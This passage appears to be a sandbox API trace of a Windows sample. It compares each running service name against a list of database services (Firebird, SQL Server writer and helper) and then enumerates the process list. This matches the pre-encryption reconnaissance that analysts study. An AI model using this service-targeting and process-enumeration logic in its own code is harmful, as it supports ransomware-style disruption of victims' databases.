	[0137.064] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0137.064] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0137.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0137.065] lstrlenW (lpString="Dhcp") returned 4
	[0137.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0137.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0137.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0137.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0137.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0137.065] lstrlenW (lpString="Dnscache") returned 8
	[0137.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0137.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0137.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0137.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0137.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0137.065] lstrlenW (lpString="DPS") returned 3
	[0137.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0137.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0137.065] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0137.065] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0137.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0137.065] lstrlenW (lpString="DusmSvc") returned 7
	[0137.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0137.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0137.065] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0137.065] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0137.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0137.065] lstrlenW (lpString="EventLog") returned 8
	[0137.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0137.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0137.066] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0137.066] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0137.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0137.066] lstrlenW (lpString="EventSystem") returned 11
	[0137.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0137.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0137.066] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0137.066] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0137.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0137.066] lstrlenW (lpString="FontCache") returned 9
	[0137.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0137.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0137.066] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0137.066] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0137.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0137.066] lstrlenW (lpString="gpsvc") returned 5
	[0137.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0137.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0137.066] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0137.066] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0137.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0137.066] lstrlenW (lpString="iphlpsvc") returned 8
	[0137.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0137.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0137.066] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0137.066] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0137.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0137.067] lstrlenW (lpString="KeyIso") returned 6
	[0137.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0137.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0137.067] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0137.067] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0137.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0137.067] lstrlenW (lpString="LanmanServer") returned 12
	[0137.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0137.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0137.067] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0137.067] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0137.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0137.067] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0137.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0137.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0137.067] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0137.067] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0137.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0137.067] lstrlenW (lpString="lfsvc") returned 5
	[0137.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0137.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0137.067] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0137.067] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0137.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0137.068] lstrlenW (lpString="lmhosts") returned 7
	[0137.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0137.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0137.068] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0137.068] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0137.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0137.068] lstrlenW (lpString="LSM") returned 3
	[0137.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0137.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0137.068] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0137.068] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0137.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0137.068] lstrlenW (lpString="MpsSvc") returned 6
	[0137.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0137.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0137.068] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0137.068] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0137.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0137.068] lstrlenW (lpString="NcbService") returned 10
	[0137.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0137.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0137.068] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0137.068] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0137.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0137.068] lstrlenW (lpString="netprofm") returned 8
	[0137.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0137.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0137.068] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0137.068] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0137.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0137.069] lstrlenW (lpString="NgcSvc") returned 6
	[0137.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0137.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0137.069] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0137.069] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0137.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0137.069] lstrlenW (lpString="NlaSvc") returned 6
	[0137.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0137.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0137.069] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0137.069] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0137.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0137.069] lstrlenW (lpString="nsi") returned 3
	[0137.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0137.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0137.069] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0137.069] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0137.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0137.069] lstrlenW (lpString="PcaSvc") returned 6
	[0137.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0137.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0137.069] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0137.069] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0137.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0137.069] lstrlenW (lpString="PlugPlay") returned 8
	[0137.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0137.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0137.070] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0137.070] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0137.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0137.070] lstrlenW (lpString="Power") returned 5
	[0137.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0137.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0137.070] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0137.070] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0137.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0137.070] lstrlenW (lpString="ProfSvc") returned 7
	[0137.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0137.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0137.070] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0137.070] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0137.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0137.241] lstrlenW (lpString="RpcEptMapper") returned 12
	[0137.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0137.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0137.241] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0137.241] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0137.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0137.241] lstrlenW (lpString="RpcSs") returned 5
	[0137.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0137.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0137.241] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0137.241] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0137.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0137.241] lstrlenW (lpString="SamSs") returned 5
	[0137.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0137.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0137.242] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0137.242] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0137.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0137.242] lstrlenW (lpString="Schedule") returned 8
	[0137.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0137.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0137.242] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0137.242] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0137.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0137.242] lstrlenW (lpString="SecurityHealthService") returned 21
	[0137.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0137.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0137.242] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0137.242] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0137.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0137.242] lstrlenW (lpString="SENS") returned 4
	[0137.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0137.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0137.242] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0137.242] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0137.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0137.242] lstrlenW (lpString="ShellHWDetection") returned 16
	[0137.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0137.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0137.243] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0137.243] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0137.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0137.243] lstrlenW (lpString="Spooler") returned 7
	[0137.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0137.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0137.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0137.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0137.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0137.243] lstrlenW (lpString="StateRepository") returned 15
	[0137.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0137.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0137.243] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0137.243] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0137.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0137.243] lstrlenW (lpString="SysMain") returned 7
	[0137.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0137.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0137.243] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0137.243] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0137.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0137.243] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0137.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0137.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0137.243] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0137.243] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0137.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0137.244] lstrlenW (lpString="Themes") returned 6
	[0137.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0137.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0137.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0137.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0137.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0137.244] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0137.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0137.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0137.244] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0137.244] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0137.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0137.244] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0137.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0137.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0137.244] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0137.244] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0137.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x394aec0 | out: hHeap=0x4f0000) returned 1
	[0137.244] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x438
	[0137.251] Process32FirstW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0137.252] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0137.253] lstrlenW (lpString="System") returned 6
	[0137.253] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0137.254] lstrlenW (lpString="smss.exe") returned 8
	[0137.254] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0137.255] lstrlenW (lpString="csrss.exe") returned 9
	[0137.255] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0137.258] lstrlenW (lpString="wininit.exe") returned 11
	[0137.258] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0137.259] lstrlenW (lpString="csrss.exe") returned 9
	[0137.259] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0137.260] lstrlenW (lpString="winlogon.exe") returned 12
	[0137.260] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0137.261] lstrlenW (lpString="services.exe") returned 12
	[0137.261] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0137.266] lstrlenW (lpString="lsass.exe") returned 9
	[0137.266] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0137.266] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0137.266] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0137.267] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0137.267] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0137.268] lstrlenW (lpString="svchost.exe") returned 11
	[0137.268] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0137.269] lstrlenW (lpString="svchost.exe") returned 11
	[0137.269] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0137.270] lstrlenW (lpString="dwm.exe") returned 7
	[0137.270] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0137.271] lstrlenW (lpString="svchost.exe") returned 11
	[0137.271] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0137.272] lstrlenW (lpString="svchost.exe") returned 11
	[0137.272] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0137.273] lstrlenW (lpString="svchost.exe") returned 11
	[0137.273] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0137.274] lstrlenW (lpString="svchost.exe") returned 11
	[0137.274] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0137.275] lstrlenW (lpString="svchost.exe") returned 11
	[0137.275] Process32NextW (in: hSnapshot=0x438, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0137.276] lstrlenW (lpString="svchost.exe") returned 11
